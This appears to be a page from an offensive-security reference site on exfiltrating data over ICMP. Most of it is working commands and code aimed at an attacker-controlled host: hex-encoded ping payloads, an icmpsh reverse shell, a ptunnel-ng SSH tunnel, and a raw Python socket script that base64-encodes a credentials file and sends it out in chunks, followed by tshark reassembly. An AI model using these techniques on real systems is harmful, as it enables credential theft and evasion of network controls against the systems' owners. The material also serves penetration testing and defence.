Skip to content
HackIndex logo

HackIndex

ICMP Data Exfiltration

4 min read Mar 16, 2026

ICMP exfiltration encodes data into ping echo request payloads and sends it to an attacker-controlled host. It works in environments where all TCP and UDP egress is blocked but ICMP is permitted — common on networks that allow monitoring pings to pass through the firewall but restrict application-layer traffic.

The tradeoff is bandwidth: each query carries a small payload, transfer is slow, and high packet volume is detectable by network monitoring. Use it for small, high-value data — credentials, keys, tokens — when no other egress path is available.

You need root on both the target and your attacker machine to send and receive custom ICMP payloads using raw sockets.

Confirming ICMP Egress

Before anything else, confirm ICMP reaches your attacker machine from the target:

┌──(kali㉿kali)-[~]
└─$ ping -c 3 $LHOST

Capture on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ tcpdump -i any -n icmp

If requests appear in tcpdump, ICMP egress is open. No traffic means it is blocked at the firewall.

Manual Payload Encoding with ping

The ping -p flag accepts a hex pattern to fill the packet payload. This repeats the same 16-byte pattern across the packet — useful only for very small fixed values.

Encode a short string to hex:

┌──(kali㉿kali)-[~]
└─$ echo -n "s3cr3ttoken1234" | xxd -p

Send it:

┌──(kali㉿kali)-[~]
└─$ ping -c 1 -p $(echo -n "s3cr3ttoken1234" | xxd -p) $LHOST

Capture the hex payload on the attacker side:

┌──(kali㉿kali)-[~]
└─$ tcpdump -i any -n icmp -X

For arbitrary file data, the raw ping approach is too limited. Use the tools below instead.

icmpsh — Reverse Shell over ICMP

icmpsh provides a reverse shell channel over ICMP echo traffic. The client runs on the target and connects back to the listener on your attacker machine.

On your attacker machine, disable kernel ICMP echo replies first — otherwise the kernel answers pings before icmpsh can read them:

┌──(kali㉿kali)-[~]
└─$ sysctl -w net.ipv4.icmp_echo_ignore_all=1

Start the Python listener:

┌──(kali㉿kali)-[~]
└─$ python3 icmpsh_m.py $LHOST $TARGET_IP

Transfer the client binary to the target and run it:

┌──(kali㉿kali)-[~]
└─$ ./icmpsh -t $LHOST -d 500 -b 30 -s 128

-d 500 sets 500ms delay between requests, -b 30 maximum consecutive blanks before exit, -s 128 payload size in bytes.

Once the shell is active, exfiltrate small files by encoding and printing them through the session:

┌──(kali㉿kali)-[~]
└─$ base64 -w 0 /dev/shm/.work/creds.txt

Copy each line of output back to your attacker machine manually. For anything larger, use ptunnel below to get a proper transfer channel.

Restore ICMP handling on your attacker machine when done:

┌──(kali㉿kali)-[~]
└─$ sysctl -w net.ipv4.icmp_echo_ignore_all=0

ptunnel-ng — TCP over ICMP

ptunnel-ng creates a full TCP tunnel inside ICMP echo packets. Once established, any TCP-based transfer method works through it — including SCP and rsync.

On your attacker machine:

┌──(kali㉿kali)-[~]
└─$ ptunnel-ng -x $PASSWORD

On the target:

┌──(kali㉿kali)-[~]
└─$ ptunnel-ng -p $LHOST -lp $LPORT -da $LHOST -dp 22 -x $PASSWORD

-lp is the local port to expose on the target, -da and -dp are the destination host and port on the attacker side. This forwards SSH through the ICMP tunnel.

Connect via the forwarded port:

┌──(kali㉿kali)-[~]
└─$ ssh -p $LPORT $USER@127.0.0.1

Once SSH is available through the tunnel, use scp or sftp for the actual transfer. See Data Exfiltration over SSH and SCP.

Raw Python ICMP Sender

When no binary tools are available but Python and root access exist, send raw ICMP packets with encoded payloads directly:

import socket, struct, time, base64

def checksum(data):
    s = 0
    for i in range(0, len(data), 2):
        w = (data[i] << 8) + (data[i+1] if i+1 < len(data) else 0)
        s = (s + w) & 0xffff
    return ~s & 0xffff

import os
payload = base64.b64encode(open('/dev/shm/.work/creds.txt','rb').read())
chunk_size = 48
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
pid = os.getpid() & 0xFFFF

for i, chunk in enumerate([payload[j:j+chunk_size] for j in range(0,len(payload),chunk_size)]):
    header = struct.pack('bbHHh', 8, 0, 0, pid, i)
    chk = checksum(header + chunk)
    header = struct.pack('bbHHh', 8, 0, socket.htons(chk), pid, i)
    sock.sendto(header + chunk, ('$LHOST', 0))
    time.sleep(0.1)

Capture and extract payloads on your attacker machine:

┌──(kali㉿kali)-[~]
└─$ tcpdump -i any -n icmp -w /tmp/icmp_capture.pcap

Extract with tshark:

┌──(kali㉿kali)-[~]
└─$ tshark -r /tmp/icmp_capture.pcap -Y "icmp.type==8" -T fields -e data.data | tr -d '\n' | xxd -r -p | base64 -d > received_file

The sequence number field in each packet (i in the loop) preserves order during reassembly.

When to Use ICMP Exfiltration

ICMP exfiltration is a last resort. Before committing to it, confirm that the following are actually blocked:

┌──(kali㉿kali)-[~]
└─$ # Test TCP egress on common ports
┌──(kali㉿kali)-[~]
└─$ curl -s --max-time 5 http://$LHOST:80/test
┌──(kali㉿kali)-[~]
└─$ curl -sk --max-time 5 https://$LHOST:443/test
┌──(kali㉿kali)-[~]
└─$ ssh -o ConnectTimeout=5 $USER@$LHOST exit 2>/dev/null

If any of those work, use HTTP/HTTPS or SSH exfiltration instead — both are faster and more reliable.

References